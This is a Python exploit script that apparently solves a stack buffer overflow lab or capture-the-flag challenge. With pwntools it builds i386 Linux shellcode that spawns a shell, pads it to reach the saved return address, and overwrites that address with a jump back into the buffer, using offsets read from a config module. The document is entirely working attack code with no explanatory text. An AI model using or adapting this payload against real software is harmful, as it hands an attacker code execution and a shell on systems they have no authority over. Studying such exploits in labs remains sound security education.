from pwn import *
import pwnlib.shellcraft as shellcraft

import sys
from struct import pack

import config

BUF_OFFSET = config.BUF_OFFSET
LEAKED_ADDRESS = config.LEAKED_ADDRESS

RA_LOC = config.RA_LOC
BUF_LOC = config.BUF_LOC
JUMP_TO = LEAKED_ADDRESS - BUF_OFFSET

sys.stderr.write("RA_LOC={}\n".format(hex(RA_LOC)))
sys.stderr.write("BUF_LOC={}\n".format(hex(BUF_LOC)))
sys.stderr.write("JUMP_TO={}\n".format(hex(JUMP_TO)))

context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
shellcode = asm(shellcraft.i386.linux.sh())
sys.stderr.write(disasm(shellcode))
sys.stderr.write("\n")

exploit = ""
exploit += shellcode
remainder = (RA_LOC - BUF_LOC) - len(shellcode)
exploit += "X" * remainder
exploit += pack('<I', JUMP_TO)

sys.stdout.write(exploit)
